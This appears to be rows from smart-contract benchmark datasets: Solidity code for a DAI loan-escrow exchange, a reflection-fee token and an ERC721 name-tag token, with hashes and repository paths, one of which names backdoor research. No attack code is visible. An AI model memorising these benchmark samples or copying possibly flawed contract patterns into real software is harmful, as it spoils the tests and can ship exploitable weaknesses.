(uint256 fromYear, uint256 fromMonth,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(uint256 toYear, uint256 toMonth,) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;
}
function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {
require(fromTimestamp <= toTimestamp);
_days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY;
}
function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {
require(fromTimestamp <= toTimestamp);
_hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR;
}
function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {
require(fromTimestamp <= toTimestamp);
_minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE;
}
function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {
require(fromTimestamp <= toTimestamp);
_seconds = toTimestamp - fromTimestamp;
}
}
| 99,325 | 742 |
ee5494fe216ec154341513098a872eb102c3f56b0958aea118356f4b7a20475c
| 10,367 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xfc3d64132b31f4f29657f342ca1bdb6d2498ff19.sol
| 3,071 | 10,099 |
pragma solidity ^0.5.2;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Secondary {
address private _primary;
event PrimaryTransferred(address recipient);
constructor () internal {
_primary = msg.sender;
emit PrimaryTransferred(_primary);
}
modifier onlyPrimary() {
require(msg.sender == _primary);
_;
}
function primary() public view returns (address) {
return _primary;
}
function transferPrimary(address recipient) public onlyPrimary {
require(recipient != address(0));
_primary = recipient;
emit PrimaryTransferred(_primary);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract MoneyMarketInterface {
function getSupplyBalance(address account, address asset) public view returns (uint);
function supply(address asset, uint amount) public returns (uint);
function withdraw(address asset, uint requestedAmount) public returns (uint);
}
contract LoanEscrow is Secondary {
using SafeERC20 for IERC20;
using SafeMath for uint256;
address public constant DAI_ADDRESS = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
IERC20 public dai = IERC20(DAI_ADDRESS);
address public constant MONEY_MARKET_ADDRESS = 0x3FDA67f7583380E67ef93072294a7fAc882FD7E7;
MoneyMarketInterface public moneyMarket = MoneyMarketInterface(MONEY_MARKET_ADDRESS);
event Deposited(address indexed from, uint256 daiAmount);
event Pulled(address indexed to, uint256 daiAmount);
event InterestWithdrawn(address indexed to, uint256 daiAmount);
mapping(address => uint256) public deposits;
mapping(address => uint256) public pulls;
uint256 public deposited;
uint256 public pulled;
function withdrawInterest() public onlyPrimary {
uint256 amountInterest = moneyMarket.getSupplyBalance(address(this), DAI_ADDRESS).sub(deposited).add(pulled);
require(amountInterest > 0, "no interest");
uint256 errorCode = moneyMarket.withdraw(DAI_ADDRESS, amountInterest);
require(errorCode == 0, "withdraw failed");
dai.safeTransfer(msg.sender, amountInterest);
emit InterestWithdrawn(msg.sender, amountInterest);
}
function deposit(address _from, uint256 _amountDai) internal {
require(_from != address(0) && _amountDai > 0, "invalid parameter(s)");
dai.safeTransferFrom(msg.sender, address(this), _amountDai);
require(dai.allowance(address(this), MONEY_MARKET_ADDRESS) == 0, "non-zero initial moneyMarket allowance");
require(dai.approve(MONEY_MARKET_ADDRESS, _amountDai), "approving moneyMarket failed");
uint256 errorCode = moneyMarket.supply(DAI_ADDRESS, _amountDai);
require(errorCode == 0, "supply failed");
require(dai.allowance(address(this), MONEY_MARKET_ADDRESS) == 0, "allowance not fully consumed by moneyMarket");
deposits[_from] = deposits[_from].add(_amountDai);
deposited = deposited.add(_amountDai);
emit Deposited(_from, _amountDai);
}
function pull(address _to, uint256 _amountDai, bool refund) internal {
uint256 errorCode = moneyMarket.withdraw(DAI_ADDRESS, _amountDai);
require(errorCode == 0, "withdraw failed");
if (refund) {
deposits[_to] = deposits[_to].sub(_amountDai);
deposited = deposited.sub(_amountDai);
} else {
pulls[_to] = pulls[_to].add(_amountDai);
pulled = pulled.add(_amountDai);
}
dai.safeTransfer(_to, _amountDai);
emit Pulled(_to, _amountDai);
}
}
contract WhitelistInterface {
function hasRole(address _operator, string memory _role) public view returns (bool);
}
contract WhitelistProxyInterface {
function whitelist() public view returns (WhitelistInterface);
}
contract Exchange is LoanEscrow {
using SafeERC20 for IERC20;
using SafeMath for uint256;
uint256 public constant POINTS = uint256(10) ** 32;
address public constant WHITELIST_PROXY_ADDRESS = 0x77eb36579e77e6a4bcd2Ca923ada0705DE8b4114;
WhitelistProxyInterface public whitelistProxy = WhitelistProxyInterface(WHITELIST_PROXY_ADDRESS);
struct Order {
bool buy;
uint256 closingTime;
uint256 numberOfTokens;
uint256 numberOfDai;
IERC20 token;
address from;
}
mapping(bytes32 => Order) public orders;
event OrderDeleted(bytes32 indexed order);
event OrderFilled(bytes32 indexed order, uint256 numberOfTokens, uint256 numberOfDai, address indexed to);
event OrderPosted(bytes32 indexed order, bool indexed buy, uint256 closingTime, uint256 numberOfTokens, uint256 numberOfDai, IERC20 indexed token, address from);
function deleteOrder(bytes32 _hash) public {
Order memory o = orders[_hash];
require(o.from == msg.sender || !isValid(_hash));
if (o.buy)
pull(o.from, o.numberOfDai, true);
_deleteOrder(_hash);
}
function fillOrders(bytes32[] memory _hashes, address _from, uint256 numberOfTokens) public {
uint256 remainingTokens = numberOfTokens;
uint256 remainingDai = dai.allowance(msg.sender, address(this));
for (uint256 i = 0; i < _hashes.length; i++) {
bytes32 hash = _hashes[i];
require(isValid(hash), "invalid order");
Order memory o = orders[hash];
uint256 coefficient = (o.buy ? remainingTokens : remainingDai).mul(POINTS).div(o.buy ? o.numberOfTokens : o.numberOfDai);
uint256 nTokens = o.numberOfTokens.mul(Math.min(coefficient, POINTS)).div(POINTS);
uint256 vDai = o.numberOfDai.mul(Math.min(coefficient, POINTS)).div(POINTS);
o.buy ? remainingTokens -= nTokens : remainingDai -= vDai;
o.buy ? pull(_from, vDai, false) : dai.safeTransferFrom(msg.sender, o.from, vDai);
o.token.safeTransferFrom(o.buy ? _from : o.from, o.buy ? o.from : _from, nTokens);
emit OrderFilled(hash, nTokens, vDai, _from);
_deleteOrder(hash);
if (coefficient < POINTS)
_postOrder(o.buy, o.closingTime, o.numberOfTokens.sub(nTokens), o.numberOfDai.sub(vDai), o.token, o.from);
}
dai.safeTransferFrom(msg.sender, _from, remainingDai);
require(dai.allowance(msg.sender, address(this)) == 0);
}
function isValid(bytes32 _hash) public view returns (bool valid) {
Order memory o = orders[_hash];
valid = o.buy || (o.token.balanceOf(o.from) >= o.numberOfTokens && o.token.allowance(o.from, address(this)) >= o.numberOfTokens);
valid = valid && now <= o.closingTime && o.closingTime <= now.add(1 weeks);
valid = valid && o.numberOfTokens > 0 && o.numberOfDai > 0;
valid = valid && whitelistProxy.whitelist().hasRole(address(o.token), "authorized");
}
function postOrder(bool _buy, uint256 _closingTime, address _from, uint256 _numberOfTokens, uint256 _numberOfDai, IERC20 _token) public {
if (_buy)
deposit(_from, _numberOfDai);
_postOrder(_buy, _closingTime, _numberOfTokens, _numberOfDai, _token, _from);
}
function _deleteOrder(bytes32 _hash) internal {
delete orders[_hash];
emit OrderDeleted(_hash);
}
function _postOrder(bool _buy, uint256 _closingTime, uint256 _numberOfTokens, uint256 _numberOfDai, IERC20 _token, address _from) internal {
bytes32 hash = keccak256(abi.encodePacked(_buy, _closingTime, _numberOfTokens, _numberOfDai, _token, _from));
orders[hash] = Order(_buy, _closingTime, _numberOfTokens, _numberOfDai, _token, _from);
require(isValid(hash), "invalid order");
emit OrderPosted(hash, _buy, _closingTime, _numberOfTokens, _numberOfDai, _token, _from);
}
}
| 163,257 | 743 |
5a3d0a9fdd8e225f0641a953605878ac15e6aaf18ccf4743e1a5d26ce839df2d
| 27,266 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/XPI-0xe6310aa93b372240850ac805c0418239516ea127.sol
| 4,437 | 17,750 |
//XPIToken
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract XPI is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Experiment Token';
string private _symbol = 'XPI';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(50);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 199,859 | 744 |
1d62961aab6a966ef9ab95886c38c9c6769d942534a4c121bda84a18b14185d7
| 22,254 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x534ccee849a688581d1b0c65e7ff317ed10c5ed3.sol
| 3,056 | 10,533 |
pragma solidity ^0.4.24;
// File: contracts/util/IERC165.sol
interface IERC165 {
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
// File: contracts/ERC721/IERC721.sol
contract IERC721 is IERC165 {
event Transfer(address indexed from,
address indexed to,
uint256 indexed tokenId);
event Approval(address indexed owner,
address indexed approved,
uint256 indexed tokenId);
event ApprovalForAll(address indexed owner,
address indexed operator,
bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId)
public;
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes data)
public;
}
// File: contracts/ERC721/IERC721Receiver.sol
contract IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes data)
public
returns(bytes4);
}
// File: contracts/util/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/util/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: contracts/util/ERC165.sol
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal _supportedInterfaces;
constructor()
public
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
// File: contracts/ERC721/ERC721.sol
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(address owner,
address operator)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId)
public
{
// solium-disable-next-line arg-overflow
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes _data)
public
{
transferFrom(from, to, tokenId);
// solium-disable-next-line arg-overflow
require(_checkAndCallSafeTransfer(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(address spender,
uint256 tokenId)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _clearApproval(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
function _checkAndCallSafeTransfer(address from,
address to,
uint256 tokenId,
bytes _data)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
}
// File: contracts/ERC721/IERC721Metadata.sol
contract IERC721Metadata is IERC721 {
function name() external view returns (string);
function symbol() external view returns (string);
function tokenURI(uint256 tokenId) public view returns (string);
}
// File: contracts/NametagToken.sol
contract NametagToken is ERC165, ERC721, IERC721Metadata {
// Token name
string internal _name;
// Token symbol
string internal _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
constructor(string name, string symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Metadata);
}
function claimNametagToken(address to,
bytes32 name)
public
returns (bool)
{
uint256 tokenId = (uint256) (keccak256(name));
string memory metadata = bytes32ToString(name);
_mint(to, tokenId);
_setTokenURI(tokenId, metadata);
return true;
}
function bytes32ToTokenId(bytes32 x) public constant returns (uint256) {
return (uint256) (keccak256(x));
}
function bytes32ToString(bytes32 x) public constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
